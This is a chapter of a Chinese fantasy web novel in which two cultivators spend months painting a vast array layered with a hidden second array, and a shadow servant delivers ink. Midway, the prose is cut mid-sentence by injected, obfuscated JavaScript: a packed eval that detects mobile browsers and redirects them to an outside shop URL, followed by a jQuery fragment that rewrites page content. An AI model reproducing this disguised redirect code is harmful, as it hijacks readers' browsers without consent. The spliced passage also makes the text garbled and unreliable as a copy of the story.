天边明月升了又降,坠星原的杂草长得愈发高了。聊和云提着一人高的毛笔在地上绘制阵法,旁边是用各种珍稀草木以及玉石原矿研磨得来的粉末调制而成的药水。每绘一笔,聊和云就要提着毛笔重新蘸取药水,一来一回,不仅费神还费力。
鱼怜相又一次来到了这里,此前的剑伤在付语娆汤药的调理下,已然大好。
“怎么样?”
聊和云见来人,停笔抬头洋洋自得。鱼怜相走近,扫了眼一眼望不见边缘的阵法,笑道:“辛苦。”
“客气。”聊和云重新提起笔,绘完上面最后一滴墨水后,重重将笔插进旁边的土里,顺势将手肘搁在上面,稍作休息。
“你这阵法怪难,要是我不来,你一个人至少得画三年。”
鱼怜相道:“所以这不是请你来了?”
聊和云偏了偏头,得意地笑:“也就是我了,三年的量给你缩到三个月。”忽然坏心眼问,“要是我们不主动找上你,你怎么办?”
鱼怜相道:“还能怎么办,慢慢弄呗。”
“咦。我以为你会想办法强迫我们帮忙呢。你知不知道崔婉兮当年,可霸道了。”
鱼怜相心有感触,问:“霸道吗?”
聊和云提起崔婉兮,忽然深恶痛绝起来:“简直不是一般的霸道。就未清当年那点家当,都被她追着讨要了好多回,不过好歹有点良心,没直接抢。今天你这事要是搁在她身上,早就拖着拽着把我们拉出来了,还轮的着我们亲自找上门?”
试问,当年谁没被崔婉兮逼着吐出些东西来?也就沈未清一人,坚守本心,任凭崔婉兮如何开价,都决计不卖。
聊和云追忆往昔,目光瞥见鱼怜相一副憨憨傻傻的模样,开始没由头地对她评头论足:“这点,你还是不如她。”
鱼怜相轻笑一声,反应过来这人是在损她,脑海里忽然想起件事来,精光闪过,说到:“其实……这可不一定。”朝聊和云神秘一笑。
聊和云看着这笑,突然觉得身上一阵刺挠,一股不详的预感自心底升起。
“你知道……”鱼怜相缓缓开口,聊和云呼吸一顿。
“其实……”
聊和云紧张地大气不敢喘,脑海里无数个念头闪过。
就听得鱼怜相语出惊人:
“季云没死吗?”
“什么!”聊和云大惊,手肘飞快地自笔端放下。整个人晕乎乎的,觉得这个世界简直疯狂极了。他颤颤巍巍地开口:“当年——我送他回去的路上,他就没气了来着,我一直以为,褚家没救回来呢。”
鱼怜相憋了憋笑,道:“所以,你后来再没去过褚家吗?”
聊和云道:“不敢去啊,人跟着我走的时候还好好的,回去成了那样,我哪儿敢再去啊?而且我们一直以为……所以实在是有愧啊,不敢叫褚家人看见我。”过往的羞愧瞬间化作被戏耍了的恼怒。
聊和云指着大地就骂:“所以这小子这么些年都不来封信,存心看我笑话吗?你怎么知道他没死?好啊!就瞒着我!是不是郁皎月也知道他没死?”
鱼怜相道:“不,你误会了,就我知道。其实一开始我也以为他不在了,不过后面遇见了他的姐姐褚合晔。”
聊和云眯了眯眼睛,下意识摸了摸胡须,却想起来如今这幅外貌没有长须,手顿在半空,又缓缓放下:“所以,是褚家小姐告诉你的?你有见过他人吗?”
鱼怜相摇头:“没有,不过偶尔会从褚合晔的口中听见他的消息。据说,他如今在褚家过的比他姐姐还要潇洒。”
“这小子!”聊和云骂骂咧咧,但陡然得知故友又活了一位,心中还是高兴。“嗨哟”一声,拔起笔,蘸了药水又开始矜矜业业画起阵法。
“既然人没死,那我去褚家应该不会被打出来吧?”
鱼怜相坏笑,看好戏似地说:“不知道啊,你试试呗。”
聊和云抖了抖身子:“咦,不敢试,褚家人凶得很,下次把你们都拉上,我赌褚家没办法。哈哈哈。”越说越得意,觉得自己简直聪明,阵法绘制得更加卖力了。
鱼怜相划开自己的手心与手臂,沿着阵法的纹路填补自己的血液。
整个坠星原的阵法已经被聊和云绘制地差不多了,待收完最后一笔,他回头看向鱼怜相,看着她汩汩流血的双手,问:“需要这么多血吗?”
鱼怜相施法止住血液,伤口以肉眼可见的速度开始愈合。聊和云惊叹她伤口愈合的速度之快,叹道:“这功法不错。”
鱼怜相道:“我也觉得。”转手掏出一碗更为黏稠的药水递给聊和云,“细节就用这个吧。”
聊和云接过,仅仅嗅了嗅,就判断出里面的成分:“你的血液?配以妖魔尸首熬制的尸水?再加上百种不知名的仙草提炼出的精华?”
鱼怜相飞身往前,跃到下一处,撩开袖子,唰唰两下又将自己的肌肤划开:“差不多。”
聊和云端着药水不敢下笔,目光随着鱼怜相而动,问:“这样一碗,不太够吧?”
鱼怜相满不在乎地道:“我还有,你尽可以放心去画,务必要将效果提至最高。”又在身下一段阵法纹路上留下自己的新鲜血液。
聊和云看着她的动作,搓了搓手指,变出来一根细毛笔,蘸蘸水,问:“碗里既然有血,怎么还要割肉取血?”
鱼怜相神色平常,直起身,手臂上的伤口又开始恢复。道:“阵法复杂,我只能依靠部分节点的新鲜血液来保证阵法的稳定程度。你应该,也不希望阵法失控吧?”
聊和云哑然,面上浮现出一丝苦笑,摇了摇头,蹲下身子,提笔专心补充细节。
鱼怜相望了他一眼,静默无言,后退几步,转身朝着更远处飞去。
天边方升起的太阳又渐渐西沉下去,貌似并没有过去多久,但天边火红的烧云却是那样的显眼,聊和云端着将要见底的药碗,抬头望向天边。他今日,说是细节补充,其实并不是。而是通过手上这碗药水,将隐藏于那个大阵之中的一道暗阵激发出来。
鱼怜相的阵法之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17624912|206241||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
难,不仅仅在于这几阵的效用,更在于如何以不影响或改变它们为目的将它们自然地融为一体,相互依存,相互支撑,但在实际作用上,又能够相互独立。
当时他拿到图纸时,乍一看,是副纹路复杂,效用未知的奇异阵法。但细看,又惊讶地发现另一道隐藏于原阵之下的暗阵。若是常人,按照原阵所绘,虽纹路复杂,但也用不了这样久,但那样,反而会淹没其中那道暗阵。要想同时激发两阵,唯有以另外一种完全不同于主流的冷僻方法进行绘制,但那样,必定会大大增加绘制时间,因此他才敢那样笃定地说,若是鱼怜相来,没有三年绘不出来。更何况,她还要结合此地那道残留了不知道多少个岁月的残阵,更是难上加难。
阵法,本就是牵一发而动全身的东西,要想同时将这样三道不知出处的疑难怪阵结合起来,光是存个拟定草稿的心思,都可以被骂上一句白日做梦,更遑论还要施行。
聊和云站着歇了歇,又蹲下去绘制了起来。当看到这道阵法的时候,他才恍然惊觉,鱼怜相那三百年都做了些什么。
可绝不是旁人眼中钻研邪术那样简单。
没日没夜画了三个月,任他是神仙也难受。这一刻,他突然觉得,要是鱼怜相那三百年真的只是钻研吸食妖魔的邪术就好了。
身后,纯黑色的墨奴又来了,这次,他变了双奇怪的眼睛出来,两个硕大的圆球在面部滚来滚去,要不是他指着圆球问聊和云:“我的眼睛怎么样?”,聊和云是绝对猜不到这是眼睛的。
“有品味。”聊和云仔仔细细端详许久,认真点评,“圆而润,灵动而俏皮,眼中含光,若是能稍稍调整下大小,或许能更合适。”
墨奴满意地“呀”了一声,下一刻,出人意料地将手探向自己的双眼,在聊和云诧异的目光下,一点点将其掏出来,然后捧到聊和云跟前的碗上。
“啪”地一声。
捏爆了。
黏稠的药水顺着他的双手滴到碗里,虽然是捏爆的,但药水却是一滴没剩全落进了碗里。
他笑嘻嘻地摊开双手,说到:“药水送到,您慢慢画。”
地上的碗里,原本所剩不多的药水一下又充盈了。聊和云蹲在地上,手执着笔,双眼直直地瞧着碗,半晌,直到觉得腿麻了,才稍稍动了动。
身后,绘制完的大阵泛起一道微光。天边最后一丝日光也落了下去。阵法的微光在这暗夜之中,格外显眼。
天空之上,不知何时从幽莲谷调派来了数千只妖魔,每隔一段距离便有一只,整齐有序,铺满整个坠星原的上空。
这是为了避免有别处修士自天空路过时,发现此地的阵法。
聊和云加快了手上的进程,身上的法力开始不要钱的使用,他一下挥出十余只笔,起身跃至半空,远远操控着毛笔绘制。初时绘制时,为了阵法准确他不敢放肆使用法力,但如今可不同,阵法大致已成,其余细枝末节皆用法术也足够了事。
更何况,还有身下不断闪烁的阵法光芒催促着他。